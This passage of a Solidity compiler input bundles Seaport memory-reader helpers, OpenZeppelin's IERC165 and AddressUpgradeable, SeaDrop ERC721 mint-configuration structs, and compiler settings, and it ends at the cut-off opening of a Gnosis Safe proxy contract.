}\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(target.code.length > 0, \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"src/lib/ERC721SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct PublicDrop {\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n address paymentToken; // 400/512 bits\n uint16 maxTotalMintableByWallet; // 416/512 bits\n uint16 feeBps; // 432/512 bits\n bool restrictFeeRecipients; // 440/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 maxTotalMintableByWallet;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param quantity The number of tokens to mint.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256 quantity;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256 maxSupply;\n string baseURI;\n string contractURI;\n PublicDrop publicDrop;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256 mintQuantity;\n}\n"
}
},
"settings": {
"remappings": [
"forge-std/=lib/forge-std/src/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin-upgradeable/contracts/=lib/openzeppelin-contracts-upgradeable/contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"murky/=lib/murky/src/",
"create2-scripts/=lib/create2-helpers/script/",
"seadrop/=src/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-test-utils/=lib/seaport/test/foundry/utils/",
"solady/=lib/solady/"
],
"optimizer": {
"enabled": true,
"runs": 99999999
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": true
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "paris",
"libraries": {}
}
}}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
